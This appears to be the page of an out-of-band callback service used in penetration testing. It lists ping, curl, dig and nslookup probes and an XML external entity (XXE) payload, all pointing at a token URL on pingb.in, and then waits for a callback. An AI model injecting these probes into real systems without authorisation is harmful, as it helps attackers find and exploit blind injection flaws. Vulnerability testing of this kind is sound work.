$ ping -c1 -p 00adaf1b07140a838079c51430639500 pingb.in
 
$ curl pingb.in/p/adaf1b07140a838079c514306395
 
$ dig adaf1b07140a838079c514306395 @pingb.in
 
$ dig adaf1b07140a838079c514306395.ns.pingb.in
 
C:\> nslookup adaf1b07140a838079c514306395 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/adaf1b07140a838079c514306395">]>
    <foo>&xxe;</foo>
 
Waiting for ping...